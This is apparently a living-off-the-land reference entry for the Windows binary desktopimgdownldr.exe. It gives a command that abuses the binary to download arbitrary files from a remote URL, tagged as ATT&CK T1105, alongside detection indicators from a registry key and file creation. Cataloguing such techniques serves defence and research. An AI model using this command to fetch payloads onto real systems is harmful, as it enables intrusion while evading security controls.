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Desktopimgdownldr.exe

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Windows binary used to configure lockscreen/desktop image

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01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
03DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

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EXAMPLE 01T1105

Downloads the file and sets it as the computer's lockscreen

COMMAND
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldr
USE CASE
Download arbitrary files from a web server
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
02 / ON DISK

Known paths

c:\windows\system32\desktopimgdownldr.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

3 resources

Indicators & detection notes

  • IOC

    desktopimgdownldr.exe that creates non-image file

  • IOC

    Change of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl

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Acknowledgements

Gal Kristal@gal_kristal